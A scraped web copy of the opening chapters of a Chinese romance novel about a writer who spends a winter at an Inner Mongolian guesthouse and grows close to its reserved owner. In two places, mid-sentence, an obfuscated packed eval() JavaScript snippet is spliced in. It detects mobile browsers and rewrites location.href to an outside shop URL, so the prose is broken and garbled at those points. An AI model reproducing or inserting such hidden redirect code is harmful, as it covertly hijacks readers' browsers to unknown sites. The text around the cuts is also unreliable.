《神鹿树》 1. 楔子:01 北纬42.93°,东经119.02°。 在内蒙古赤峰市翁牛特旗那片被风统治的草原深处,有一棵老杨树,以一种近乎神谕的姿态生长着。 它的枝干在某个高度猛然折断,又以一种痛苦的执着向斜刺里伸出,最终凝固成一头永恒奔跑的麋鹿的轮廓。 人们叫它神鹿树。 我第一次见到它,是在2023年初秋的一个晴朗午后,和我的朋友周雨一起。 落日熔金,给它嶙峋的骨骼镀上悲壮的光晕,它倔强又孤独地立在天地间,仿佛在追逐着久远的旧梦 我为它浩瀚的美丽,以及神圣的气质所震撼,久久无法回神。 直到夜幕降临,周雨才把恋恋不舍的我,拽回车上。 回去的路上,我一直和周雨说,这是个好地方,你是怎么发现的? 她告诉我,是戴琴带她来看的。 我问她戴琴又是谁? 她说那是她的一个朋友,也是今晚要留宿的民宿老板。 她顿了顿,又补充了一句:“她的气质很像那棵神鹿树,也是个妙人,你看到就知道了。” 因为这句话,我开始心生期待。 回去的时候,暮色四合,夜幕像一块浸透了墨汁的巨大丝绒,悄无声息地铺展开来。 接着,星星便一颗一颗地跳了出来。 先是几颗胆大的,试探着眨眼,随即便是毫无节制哗啦喷涌,汇成一条不断流淌的浩瀚银河。 那是我在广州从未见过的繁星,密集、低垂,仿佛一伸手,就能捞起一把冰凉的光点。 就在这片令人屏息的星空下,好几座民宿出现在视野里。 其中一座巨大无比,在辽阔的原野衬托下,它那圆顶的造型,确实像一朵刚刚破土而出的洁白蘑菇。 几扇窗户里透出暖黄色的光,在这无边的暗夜里,显得格外温暖,也格外孤独。 车子驶入院落,轮胎碾过砂石,发出轻微的声响。 我的目光,第一时间便被院子角落那棵银杏树下的人影吸引了去。 一个女人裹着一条素色毛毯,蜷在一张藤椅里,正仰着头,静静地望着星空。 月光如水,流淌在她身上,勾勒出一个模糊而清冷的轮廓,像一尊被时光遗忘在此处的玉石雕像。 我看不清她的脸,但那个姿势里有一种全然的投入与疏离,让周遭的一切声响,都显得格外唐突。 我的目光像是被黏住了,忍不住多看了两眼,心里揣测着,这会是怎样一个人。 周雨顺着我的目光看去,笑了一下:“诺,那就是戴琴了。。 恍然,她竟是这般一个女子吗。 我推开门下了车,冷冷的夜风扑面而来,还带了一阵轻微的脚步声。 由远及近,踏在草地上,沙沙作响。 我下意识地扭头望去,方才坐在藤椅上的戴琴,已经起身,正朝我们走来。 她走得不急不缓,那条毛毯像披风一样搭在肩上,随着她的步伐微微晃动。 她穿着一袭深色的蒙古长袍,袍裾在夜风里轻拂,样式古朴,不像是为了招揽客人的表演服,倒像是她日常的衣裳。 月色清晰地照亮了她的脸,那是一张极其清丽的脸庞,皮肤是象牙白的,在月光下泛着细腻的光泽。 眉毛不像时下流行的那样修剪得纤细,而是天然的形状,带着一丝英气。 眼睛尤其好看,是那种深邃的内双凤眼,眼尾微微上挑,瞳仁极黑,像两汪深不见底的寒潭。 她的长发未经束缚,如瀑般散在肩头,更添了几分随性与疏离。 她整个人,像一幅动起来的古画,又像一座偶然降临凡尘沾染了夜露的观音像,神圣中透着一股子不容靠近的孤寂。 我一时看得有些痴了,竟忘了言语。 她走到我们面前站定,微微颔首:“来了。” 戴琴的声音并不高,像初春溪水刚化开时碰撞卵石的轻响。 “嗯,带个朋友来烦你。”周雨笑着,语气是那种老朋友间才有的亲昵与随意,她侧身把我让出来,“这是我和你提过的,那位写东西的远舟。” 戴琴的目光这才完全落在我身上。 那目光并不锐利,甚至可以说是平淡的。但被那样一双眼睛注视着,你会觉得自己像一张被缓缓铺开的宣纸,每一寸纹理都被无声地阅读。 我有些局促地点头,朝她伸出手:“你好,打扰了。” “远舟。”她重复了一下我的名字,音节在她唇齿间轻轻一滚,似乎品了品滋味,然后她极淡地笑了笑,“欢迎。周雨的朋友,不会打扰。” 这话是对我说的,但她的眼尾似乎扫了周雨一下,两人之间有一种无需言语的默契流动。 她也伸出手,指尖与我轻轻一碰,那触感微凉,如同触碰到了一块上好的玉石,一触即离。 “我叫戴琴。”她淡淡道,“是这家民宿的老板,希望你入住愉快。” 说完,她极淡地笑了一下。 那笑容很短暂,如同月夜下,一朵昙花静悄悄地绽开一瞬,随即收敛,却足以让人晃神。 我被那转瞬即逝的笑容击中,有些挪不开眼。 我决定在赤峰度过这个冬天。 和戴琴提出续住一个季度时,是第二天的早晨。 她正用小银壶往周雨的杯里续奶茶,闻言只轻轻“嗯”了一声,仿佛这只是件最平常不过的事。 倒是周雨,从一碗奶皮子里抬起头,冲我眨了眨眼,那眼神里有一种“果然如此”的笑意。 她转向戴琴,语气随意得像在讨论天气:“那这家伙就交给你了,亲爱的~” “她写东西的时候喜欢到处溜达,还神游天外,麻烦你看着点,别让她走丢了。” 戴琴这才抬起眼,目光在我脸上停留了一瞬,然后对周雨极淡地笑了笑:“在我这儿,丢不了。” 她们之间流动的那种笃定的默契,像一层透明的壁垒,将我温和地隔开,却又奇异地让我感到安心。 仿佛我被交付到了一个稳妥而深邃的地方。 于是,我的日子便跟着草原的节奏,慢了下来。 民宿设施一应俱全,自带餐厅,白日卖咖啡,入夜便成了小酒馆。 甚至还有一个小小的赛马场和射箭场,在这片原野上,算得上是顶好的去处了。 每当日落之后,民宿便会热闹起来。 当地艺术团的人,或是些民间的歌唱家,会在餐厅中央进行表演。 马头琴声苍凉悠远,长调像是从远古飘来。 客人们吃着烤羊排,喝着马奶酒,吃到尽兴时,便会手挽着手,围着庭院中央那堆熊熊燃烧的篝火载歌载舞。 火光映红了一张张快乐而模糊的脸庞。 我性格内向,不擅长交际,每当这种时候,我都会带着几分怯生生的羡慕,躲在咖啡厅的办公区里,隔着那扇巨大的落地玻璃,远远地看着那片不属于我的热闹。 像一个隔着橱窗看糖果的孩子,渴望,却又不敢伸手。 一连看了好几天,忽然有天晚上,我正托着腮帮子,望着窗外跳跃的火焰和晃动的人影出神,身后传来一道清冷的声音:“不去玩吗?” 我猛然扭头,看见戴琴不知何时站在了我身后。 她依旧披着那条熟悉的毛毯,双手抱在胸前,静静地望着窗外。 篝火的光影在她漆黑的眼睛里跳跃,像落入了两簇明亮的火焰。 我愣了一下,结结巴巴地回答:“啊……我,我不太会跳舞……” 她转过头来看我,唇角似乎有极淡的笑意:“跳舞这件事,只要会呼吸就可以。” 她的目光落在我脸上,带着几分鼓励:“直接去吧。” 我连连摆手,脸有些发烫:“不了不了,我看着就好。” 戴琴静静地看了我一会,那双黝黑的眼眸在跳动的火光映衬下,显得格外深邃,仿佛能看进人心里去。 她没再继续劝说,只是轻轻拉了拉肩上的毛毯,转身便离开了,身影很快融入了走廊的阴影里。 我看着她离去的方向,心里不禁涌起一阵巨大的失落。 唉,我可真胆小。 我在心里埋怨自己,要是胆子能大一点,脸皮能厚一点,说不定就能和这位闪亮的美人多说上几句话了。 是的,戴琴的漂亮,是那种很客观的,毋庸置疑的美。 民宿的客人南来北往,形形色色,但几乎每一个来到这里的单身客人,无论男女,都或多或少会对她生出些好感,想要靠近,想要索取她的联系方式。 我入住这半个月,几乎每天都能看到有人用各种理由向她发出邀约,或是试探,或是直接。 每次看到那些怀揣着各样目的的客人靠近她时,我的心都会不由自主地高高提起。 幸好,她们无一例外,都被戴琴用一种礼貌而疏离的方式,轻描淡写地拒绝了。 她像是草原深处一汪宁静的湖泊,投下的石子,只能激起一圈微澜,随即复归于平静。 随着她拒绝他人的次数增多,我对她的好奇心,也像春日草原上的野草,不受控制地疯长起来。 她看起来那样年轻,至多不过二十七八,可周身却笼罩着一种醇厚而静谧的气质。 像一坛被岁月深埋的老酒,又像那夜我见到的那棵神鹿树,引人不由自主地想要探寻其深处的秘密。 我每天清晨起来,总能看到她拿着一本书,坐在院子里那棵老树下,身旁放着杯咖啡,有一搭没一搭地看着。 看久了,便将书轻轻盖在脸上,靠着椅背,浅浅地眯个盹。 那时正值六月,草原上百花盛开,树下那些不知名的野花团团簇拥着她,红的、黄的、紫的,色彩浓烈得像莫奈笔下光影交织的油画。 我常常会忍不住去想,这样的一个人,拥有着怎样的过往? 是什么样的人生轨迹,让她选择停留在这样一片辽阔而寂寞的原野上,过着这般闲云野鹤,却又仿佛与世隔绝的生活呢? 好奇心就和痒痒一样,不被挠到舒服,就难受得慌。 直到那天清晨。 我在咖啡厅里熬了个通宵,总算校对完最后一页书稿。 推开电脑,打着绵长的哈欠揉搓僵麻的脸颊时,窗外的草原才刚刚苏醒。 薄雾像一层蓝色的轻纱,缠绕在远近的草丘上,露珠在草叶尖儿上闪着细碎的光。 就在这片万籁俱寂的静谧里,一阵急促而富有节奏的马蹄声,由远及近,像擂动的战鼓,猛地敲碎了这片宁静。 我下意识抬眸,循着声音望向那片被晨曦染成淡金色的原野。 蔚蓝色的薄雾深处,一个骑手的身影正破雾而来。 起初只是一个移动的黑点,旋即轮廓清晰起来。 是戴琴。 她骑着一匹通体漆黑的骏马,那马匹的毛皮在稀薄的晨光里泛着绸缎般的光泽。 她没有像往常那样披着毛毯,只穿着一件墨绿色的蒙古长袍,长发在脑后束起,随着骏马的奔腾在风中飞扬。 她伏低身子,与马背几乎融为一体,像一道贴地飞行的黑色闪电,朝着民宿的方向疾驰而来。 马蹄踏过沾满露水的草甸,溅起细小的水珠。 风声、马蹄声、以及她袍角猎猎的声响,交织成一曲充满野性与力量的黎明乐章。 我的心跳,不由自主地跟上了那马蹄的节奏。 转眼间,一人一马已冲到院门近前。 只见戴琴猛地一拽缰绳,那匹神骏的黑马长啸一声,前蹄高高扬起,在空中刨划了几下,整个马身几乎人立起来。 而她,稳稳地高坐于马鞍之上,身子随着马的动势微微后仰,绷紧的下颌线条利落如刀削,眼神锐利地望向前方。 那一刻,初升的太阳恰好挣脱了地平线的束缚,万道金光泼洒下来,为她和她的骏马镀上了一圈耀眼夺目的轮廓。 她高踞马背,像个刚刚征战归来,不可一世的女王。 晨风吹拂着她散落的几缕发丝,那张冷峻的脸上,没有丝毫柔媚,只有一种掌控一切的英气与从容。 我隔着玻璃窗,屏住了呼吸,完全被这突如其来的画面攫住了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17240079|197689||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>望着这个仿佛从英雄史诗里走出来的蒙古姑娘,我脑海里浮现的,却是《了不起的盖茨比》中,尼克第一次站在长岛码头上,望着对岸那盏绿色的灯光,情不自禁伸出手去的那个瞬间。 盖茨比穷尽一生追逐的那抹绿光,如同一个虚幻而执着的梦。 而此刻,戴琴与骏马沐浴在金光里的剪影,于我而言,也成了那样一道具有致命吸引力的光。 我的身体不自觉地微微前倾,目光牢牢锁在戴琴那张被晨光与风霜勾勒得格外清晰的脸上,完全无法挪开。 人在昏了头的时候,什么蠢事都做得出来,心底那点踟躇,像风里残烛,轻易就被掐灭了。 自那天清晨目睹她骑马归来如天神的景象后,周雨那些“保持距离”的告诫,便被我彻底抛在了脑后。 我像所有被戴琴这团幽冷火焰吸引的飞蛾一样,开始不由自主地萦绕在她四周。 只是我这只飞蛾胆儿小,连振翅都是悄无声息的,只敢在暗处,用目光偷偷丈量她与我的距离。 一连观察了好些天,终于在一个人客稀少的午后,我鼓足了那点可怜的勇气,像个准备偷食的小老鼠,踟蹰着蹭到了那棵老树下。 她依旧坐在藤椅里,书本摊在膝上,手边矮几摆着一壶马奶茶,白色的奶皮在壶口凝着淡淡的热气。 我站在树荫的边缘,两只手紧张地交握着,指甲几乎要嵌进掌心里,喉咙干涩,不知该如何开口。 倒是她先察觉了,从书页上抬起眼,目光清清浅浅地落在我脸上:“中午好。” 我像被赦免了一般,赶紧挤出一个笑,声音都有些发紧:“中午好。” 顿了顿,我搜肠刮肚找了个最拙劣的开场白:“我看你在这里坐了好一会儿了,吃……吃午饭了吗?” “吃了。”她唇角微弯,竟顺着我的话,带着一丝难得的调侃反问道,“那你呢,大作家,今天有没有好好吃午饭?” 这小小的的回应,让我受宠若惊。 一股勇气如同草原上骤起的风,在我胸腔里肆虐鼓荡。 我笑着点头:“吃了。” 趁着这风还没停歇,我一鼓作气,将目光投向她膝上的书:“我看你最近一直在看黑塞的作品,你很喜欢他吗?” 她合上书,露出封面,不答反问:“他的作品很有意思。你最喜欢哪一本?” 我瞥见那熟悉的书名,心头一跳,几乎是雀跃地回答:“《悉达多》!” “那还真巧,”她扬了扬眉,指尖轻轻点过书封,“是我手上正看着的这本。” 我咧开嘴笑了。她将书放到一旁,坐直了身子,目光认真地投向我:“说说看,你为什么喜欢这个故事?” 又是一个我能接住的问题。 高兴像温热的泉水,咕嘟咕嘟从心底冒出来。我开始侃侃而谈 关于黑塞,关于悉达多的求索,关于灵魂的摆渡,关于失去与获得,关于那条河,以及最终那包容一切的名为“爱”的领悟。 说到尽兴处,我索性不管不顾,盘腿在她面前的草地上坐了下来。 令我惊讶的是,她看着我,眼底闪过一丝笑意,竟也轻轻提起袍角,学我的样子,席地而坐,就在我的对面。 十一月的阳光被逐渐稀疏的枝叶筛过,落在我们身上,变成一片片晃动的光斑。 空气里弥漫着青草与泥土的腥甜气息,还有马奶茶若有若无的醇香。一切的氛围都好得不像话。 后来我无数次回想起这个下午,脑海里定格的,总是她带着微笑的沉静倾听,以及那双深邃如秋潭的眼睛。 那时我只觉得,她像一片静谧的大海,宽容地接纳了我所有的卓言稚语。 我沾沾自喜,以为她至少不讨厌与我说话。 凡事有了第一次,便顺理成章地有了第二次、第三次。 从这个下午开始,我和戴琴之间的坚冰,仿佛被这暖阳融开了一道缝隙。 我们从文学作品,谈到风花雪月,一切都显得那么自然而然。 戴琴不仅是个极有耐心的倾听者,更是一个体贴的朋友。 渐渐熟稔后,她会在我又一次隔着玻璃艳羡篝火旁的歌舞时,主动走过来,不由分说地拉起我的手,将我带入那片欢腾的热浪里。 她的手心不似指尖那般凉,带着温热坚定的力量。 她也在我某次望着马场露出向往神色时,记在心里,而后在一个晴朗的早晨,牵来一匹温顺的白色小马,亲自教我骑乘。 从如何上鞍,到如何掌控缰绳,她教得细致,我学得笨拙却欢喜。 一来二去,我竟也能骑着小马,在草原边缘“哒哒”地跑上一小段了。 我们的关系,也在这并辔而行的时光里,变得亲密了许多。 人一旦熟悉,心防便会松懈,话语便如开闸的洪水,滔滔不绝。 而话多了,难免会滑向自身的来路。 仿佛是为了交换某种隐秘的信任,我率先将自己的过往和盘托出。 我和她说,我老家在云南红河南岸的元阳县,家里的梯田文化,就和那儿的红米酒一样,醇厚而闻名。 尤其是七八月间的火把节,四里八乡的人都会聚到中心县的梯田旁,人山人海,热闹得能把天都点燃。 她配合地露出憧憬的神情,说那一定是很壮观的景象。 我还告诉她,我随母亲姓远。 她听了,轻轻赞了一句:“你妈妈一定是个很时髦,很有想法的姑娘。” 我觉得那个“姑娘”的称呼,从她嘴里说出来特别可爱。 我挠挠头,心里暖烘烘的:“是啊,她是很时髦。” “她从小就跟我说,女孩子嫁不嫁人不重要,但一定要有一门能养活自己的手艺,要有自己的天地。” 戴琴深以为然地点点头,目光里带着欣赏:“你妈妈把你教得很好。人生在世,确要有安身立命的本事,那是谁也夺不走的底气。” 她顿了顿,看着我说:“你现在就很好啊,周雨说你工作非常出色。” 我嘴上谦虚着“马马虎虎吧”,心里却还是有些得意的。 2. 楔子:02 很快,冬天来了,翁牛特旗的草原,也迎来了今年的第一场雪。 这雪来得毫无征兆。 前一夜还是清朗的星空,清晨推窗,世界已被一种柔软而浩大的寂静重新塑造。 雪还在纷纷扬扬地落着,不急不缓。庭院、草甸、远山,所有棱角都被这无尽的白色抚平包裹,天地间只剩下一片静谧的纯白。 作为一个在南方潮湿冬季里长大的人,我从未见过如此阔大而干净的雪。 这种吞噬一切声响,覆盖一切杂质的绝对力量,让我心尖发颤。 我几乎是踉跄着扑进院子里,仰起头,让冰凉的雪片落在滚烫的脸颊和眼睫上,激动得呜哇乱叫。 就在这时,我听见身后传来很轻的脚步声,踩在新雪上,发出“咯吱”一声脆响。 回过头,戴琴正站在屋檐下,身上依旧裹着那条素灰色毛毯,静静地看着我。 她脸上没什么表情,但那双深潭似的眼睛里,似乎掠过一丝极淡的了然,或许还有一丝几乎无法察觉的宽容。 “南方的雪,不这样吧?”她开口,声音在落雪声中显得格外清晰。 我抹了把脸,有些不好意思地笑了:“像撒盐,或者雨夹雪,落地就脏了,从没这么……这么铺天盖地过。” 她点了点头,目光投向庭院外那片无垠的雪野,看了片刻,忽然问道:“想不想出去走走?骑马。这时的草原,是另一种样子。” 我的心猛地一跳,几乎是不假思索地应道:“想!” 她转身去马厩牵马,我像个兴奋过度的孩子亦步亦趋地跟着。 她牵出来的是一匹枣红色的母马,毛色在雪光映照下像上好的锦缎,温顺地打着响鼻。 “它叫‘其其格’,花儿的意思。”戴琴抚摸着马儿修长的脖颈,动作轻柔而熟稔,“性子最稳,认得回家的路。” 她扶我上马,手掌托住我的肘部,隔着厚厚的羽绒服,依然能感觉到那股沉稳笃定的力量。 她的指导简洁至极:“坐稳,放松,跟着它的节奏。它走,你便走;它停,你便停。” 她自己则利落地翻身跨上另一匹通体漆黑的骏马,牵过“其其格”的缰绳,引着我们缓缓步入雪原。 马蹄踏进蓬松的新雪,发出沉闷而厚实的“噗嗤”声,一步一个深深的烙印。 世界骤然被简化到极致:前方是戴琴挺直而松弛的蓝色背影,她的袍角随着马背的起伏微微晃动。 四周是漫无边际,耀眼夺目的白,一直延伸到与低垂铅灰色天空模糊相接的弧线。 耳畔的风掠过雪原表面,带出细微嘶鸣,心跳平稳下来咚咚咚地跳。 冰冷的空气吸进肺里,带着雪粒清爽的刺痛感,却奇异地将胸中所有郁结的浊气涤荡一空。 “这里真好,”我忍不住叹息,声音被旷野吸得有些发飘,“好像一下子把什么都隔开了,烦恼,人群,甚至……时间。” “自由得让人害怕,又让人着迷。” “就像有时候写作,钻进自己构建的世界里,什么都忘了。” 戴琴没有回头,她的声音顺着风飘来,被吹得有些断续,却字字清晰:“写作是逃进去。这里……” 她似乎轻轻挥了下手,囊括了眼前无垠的洁白:“是让你无处可逃,只能面对。” 我怔了怔。 她的话像一颗小石子,投入我刚刚还在为“自由”欢呼的心湖,漾开一圈涟漪 “那……面对之后呢?”我问。 这次,她似乎极轻地笑了一声,那笑声比雪花落地还要轻。 “面对之后?”她顿了顿,“才知道自己究竟有多轻,或者有多重。” 戴琴放缓了速度,将“其其格”的缰绳轻轻搁在了我的马鞍前桥上,扬了扬下巴:“试着,自己让它走起来。” 她说,声音里带着一种鼓励的平静:“像我之前教你的那样,用腿肚轻轻碰碰它的肚子。” “别怕,‘其其格’认识我,也认识路。” 我依言照做,动作笨拙。枣红马儿温顺地加快了步伐,从漫步变成了小跑。 风骤然变得凶猛,呼啸着从四面八方扑来,卷起地上的雪沫,打在脸上又冷又麻。 视野开始有节奏地颠簸摇晃,远处的雪丘和近处的枯草连成一片流动的白色波浪。 那一瞬间,奇恐惧并未降临,取而代之的是一种近乎狂喜的兴奋。 戴琴的黑马不知何时已与我并辔而行,她控着缰绳,不远不近,像一道沉默而可靠的影子,永远在我目光可及的侧前方。 我们在一片稍高的坡地勒马。 回头望去,民宿已缩成雪原上几粒微小的暖黄色光点,在无边的素白中倔强地闪烁着,如同迷失在洪荒中的舟火。 天地间仿佛只剩下我们两人,两匹马,以及这充斥寰宇的寂静。 静得能听见雪片相互摩擦的窸窣,听见自己血液奔流和心脏剧烈捶打胸腔的轰鸣。 “感觉如何?”她问。 气息平稳,唯有脸颊被冷风与疾驰染上两抹生动的红晕,衬得那双眼睛愈发明亮,如同雪地里的寒星。 我大口喘着气,胸腔因为激动和寒冷而刺痛,声音却带着前所未有的畅快:“像……像被从里到外拆开,在这风里雪里狠狠抖了一遍,又把最沉的那部分,咚地一声,扔回了地上!” 我找不到更准确的词:“轻了,也……重了。” 戴琴望着远方起伏的雪线,侧脸在冬日稀薄的天光下轮廓分明。 她沉默了片刻,才缓缓道:“风刮走草籽,雪埋住蹄印。能留下的,才是真正属于你的东西。” “骨头,或者……灵魂。” 从那次雪中骑行之后,我们之间那层因欣赏而生的客气,如同河面上最后一块浮冰,被悄然融化。 交谈开始像炉中的火苗,自然而不间断地燃烧起来。 而真正凛冽的冬天,是以一场持续了三天三夜,仿佛要吞噬一切的大雪正式宣告降临的。 雪停之后,世界彻底失语。 天空是一种凝固的铅灰,草原被压实成硬邦邦的白色石膏平面,无边无际。 所有生命的迹象都被深深掩埋,连风似乎都被冻住了,只在偶尔的间隙,发出凄厉的尖啸。 就是在这样一个被严寒和寂静紧紧包裹的傍晚,我们占据了客厅里那个最大的黄铜火盆。 盆中的牛粪饼燃得正旺,散发出一种带着草根清苦气的干燥暖香。 戴琴用一把被岁月摩挲得发亮的旧铜壶煮着奶茶,壶嘴喷出绵长而稳定的白汽。 她倾身为我斟满一碗,奶皮子厚厚地凝结在褐色的茶汤上,像一层柔软的绸缎。 我捧起陶碗,滚烫的温度立刻渗入冰冷的掌心,顺着喉咙一路熨帖下去,紧接着,那股醇厚中带着锐利野性的酸味才在舌根泛起,霸道地宣告着它的存在。 就像这冬天本身,先以酷寒逼迫你,再以这碗滚烫的复杂滋味给你慰藉,不容拒绝。 “这里的冬天,一直这么冷吗?” 我望着窗外那与灰白天空彻底融为一体,失去了远近纵深感的雪野,不由得发问。 戴琴用铁钳拨弄了一下火盆中央的炭块,几颗橙红的火星“噼啪”炸开,迸溅,又在空中迅速黯淡、冷却,如同无数个微小而徒劳的梦境。 她的目光追随着那些消逝的光点,声音在火焰持续的哔剥声中显得有些悠远:“对啊,一直这么冷。” “哇,那可真是严酷。这风喊得那么凄厉,你难道不会害怕吗?” 我问的好奇,她顿了顿,眼神仿佛穿透了眼前跃动的暖色,看到了更久远的时光。“不怕啊,有什么好怕的。” “有包毡,有爸妈,有炭火,人生存在自己温暖的小屋里,守着小小的暖和,哪里会在意外面是什么冰天雪地。” 我点了点头,说:“也是。” 或许是气氛恰好,我忍不住试探地问:“能和我说说你小时候的事吗?我还挺好奇的。” 戴琴瞥了我一眼,不动声色道:“怎么,这段时间找我的店员搜集素材还不够,还要搜集到我的头上啊?” 我说:“是啊,我很好奇嘛。” 或许是天太冷,我们又无事可做,戴琴想了想,还真的和我说了一些她小时候的事。 她出生在一个冬天。 不过这个冬天,和现在这个冬天,不太一样。 那是个难得的大晴天,阳光亮得刺眼,雪地反着光。 生她的妈妈难产,几乎濒死,好不容易出生了,接生她的额布格(奶奶)说她带着胎里的‘邪祟’,得靠黑狼神叼来的运气才能活。 戴琴的爸爸不信这些东西,连夜骑马出去,跑死了两匹马,找到在山里挖参的安达(结义兄弟),用家里最肥壮的一头羊,换回一根拇指粗的老山参。 回来就守在炉火旁,熬成水,掰开孩子的嘴,一滴一滴地喂。 说来也怪,参水喂下去,小孩子真就缓过来了。 可额布格还是坚持,在我满月时,把那枚给戴琴‘镇魂’的狼牙,刻上了名字。 “一面是蒙文,‘淖海其其格’,意思是……草原上的小狼崽,额吉取的,盼着我像狼崽一样,有顽强的命,能在风雪里活下来。” 她顿了顿,指尖无意识地划过陶碗的边缘:“另一面,是阿爸刻的汉字——‘戴琴’。” “在蒙语里,它的意思是‘海’。” “阿爸说,草原的孩子,心里该装得下比草原更辽阔的东西。他希望我的心胸,能像海一样,深,且广。” 和大多数的蒙古族人不一样,戴琴的父亲是受过教育的。 所以她的童年,和大多数孩子不一样。 春天不用湿淋淋的捡蘑菇,夏天不用顶着大太阳放牛放马,秋天也不用跟在父母后面打草谷。 她只用读书。 说到这里,她看了看我一眼,笑着说:“很无聊吧,其实草原的生活没有你想的那么有趣。” 我点了点头,说:“不啊,也挺有意思的,还有什么趣事,可以说来听听吗?” “趣事嘛……我想想……” 她思索了一会,回答道:“小时候,秋天割草的时候,父母亲会把我放在牛车上。” “我窝在牛车上,用帽子盖着脸,裸露出来的皮肤被晒得红扑扑,暖烘烘的。 “父亲坐在牛车前面,用鞭子赶车。” “啪啪啪……”一下又一下的。 “四周的洁白羊群宛若被鞭子声吓到,在这片无垠的绿海穿梭,追着远方的风狂奔离去。” “父亲发出呼噜呼噜的笑声,很是豪迈地唱唱歌……” “心随天地走,意被牛羊牵。大漠的孤烟,拥抱落日圆……” 戴琴低低唱了起来,歌声在这样深邃的夜里,听起来很是悠扬。 我静静听着,看着火光在她沉静如古老岩画的侧脸上流转,心中最初对于这片风景的猎奇与赞叹,早已沉淀为一种近乎敬畏的感佩。 在这般以绝对严酷法则运转的天地间,一个被预言难以存活的生命,被爱与坚韧仔细浇灌着,最终长出如此内敛而深邃的灵魂。 这本身,就是一个奇迹。 我由衷佩服起来:“也就只有这样的草原,才能培育出了你这样广博而浩瀚的灵魂,以及坚韧又顽强的生命。” 我将这份混杂着唏嘘与敬意的感受说了出来,语气里难免带着一个来自温润南方的闯入者,面对这种原始生命力量时的震撼与疏离。 戴琴听了,却缓缓摇了摇头。 她将目光从跳跃的火苗上移开,重新落回我脸上。 那双眼睛在火光映照下,清澈见底,并无一丝自怜或骄矜,只有一种洞悉般的平静:“一方水土养一方人嘛,哪里的水土不养人呢。” 她的声音不高,却带着一种穿透表象的笃定,“人只要在一块土地上扎下了根,吸它的气,喝它的水,受它的风吹日晒,自然会生出相匹配的筋骨和脾性来。” “你们南方也有自己的韧性啊。像水边的苇子,看着柔软,风来了便伏低,水涨了便随高,总能找到活路。” “我们这里的,就像戈壁滩上的风砺石,硬的,耐磨的,一年年地被风沙打磨出棱角,也打磨出光亮。” “各有各的出彩。” 她话语里那种超越了具体地域羁绊的通透与包容,让我微微一怔。 这绝非一个固守一隅之人能拥有的视野,好奇的火苗在我心中“噗”地窜高了一簇。 “你……好像很懂得‘别处’。”我试探着,将话引向更深处,“你不是一直都在赤峰吗?” “不是。”她的回答干脆利落,没有丝毫犹豫,“我离离开过这里,很久。” “去了哪儿?”我追问。 “天南地北。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17240080|197689||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”她端起已经温凉的奶茶碗,却没有喝,只是用指尖缓缓摩挲着粗糙的陶壁,目光低垂,落在自己修长而骨节分明的手指上。 她勾起唇角笑了起来:“我年轻时和你一样,也在逃。” “只不过你是逃进写作里,我是逃离了故乡。” “草原对于男人们来说,是写着骏马、弯弓、烈酒和遥远的疆场。” “对于女人,是毡房,是灶台,是望不到头却又似乎一眼就能看到尽头的绿了又黄,黄了又白的日子。” “像一件从小穿到大,磨破了领口的旧袍子,温暖又束缚。” 她抬起眼,目光似乎穿透了我,望向了虚空中的某个点:“我固执地觉得,人生的觉得答案在远方,在别处,在名字里隐喻的那片‘海’的彼岸。” “所以我拼了命地往外飞,高考考了三次,一次次落榜,又一次次重振旗鼓,直到翅膀划破云层,才终于飞离了这片土地。” 我几乎能在脑海中勾勒出那个少女的剪影。 瘦削,倔强,眼眸里燃烧着与这片土地的沉静格格不入的火焰。 那个倔强的身影,与眼前这个沉静如深潭,仿佛已与草原呼吸同频的女子,重叠又分离,构成一种惊心动魄的对照。 “既然飞出去了,看过了海,”我轻声问,生怕惊扰了她眸中那片悠远的回忆,“为什么又回来?” “总不会是落叶归根吧?”我顿了顿,谨慎开口,“你看上去,不像。” “那倒不是。”她轻轻摇头,将目光投向窗外。 夜色早已浓稠如墨,玻璃窗变成一面模糊的镜子,勉强映出室内跳跃的火光和我们两人静默的轮廓。 但我知道,她的视线早已穿透这层薄薄的阻隔,落在了外面那片被冰雪封存的无垠原野上。 她沉默了许久,久到盆中的火苗都矮下去一截,才用一种低沉而清晰的声音说道:“就是有一天,在某个高楼林立的城市,站在十字路口,看着霓虹灯把人脸照成各种陌生的颜色,彷徨着挤进密不透风的地铁里,听着周围与自己毫无关系的嘈杂对话,忽然觉得心里头‘咯噔’一下,空了。” “我不知道自己在做什么,也不知道要去哪里,我觉得自己追寻的一切,好像都没了意义……” 她顿了顿,喉间微微滑动,像在吞咽某种无形而浓稠的液体:“然后,我就回来了。” “狂风吹拂我的身体,大雪浸透我的灵魂,我才意识到,我想要的东西,一直都在这里。” 她伸手,长指往虚空里指了指,说道:“就在那棵神鹿树下。” “所以我回来了这里。” 我坐在她对面的矮凳上,怀里抱着已经凉透的陶碗,半晌没有动弹。 心中先前关于她所有神秘感的揣测,此刻仿佛找到了确切的源头。 这是在一个灵魂经历了彻底的出走、艰辛的寻觅、必然的彷徨之后,与生命的来处达成了和解。 我的好奇并没有因为她的解释而消散,反而更加浓郁了。 之后的日子里,我开始变着法的套话,想要从她嘴里,得知更多有关于“出走前后”的东西。 有一天深夜,万籁俱寂,唯有雪落无声。 我蜷在客厅的沙发里,就着一盏孤灯,拿着一本《重返狼群》开始读。 书中描绘的野性、孤傲与温情,在窗外这片真实存在的、被严寒统治的荒原背景下,显得愈发惊心动魄。 读到狼群在月下雪地巡行的段落时,一个念头毫无征兆地钻入脑海。 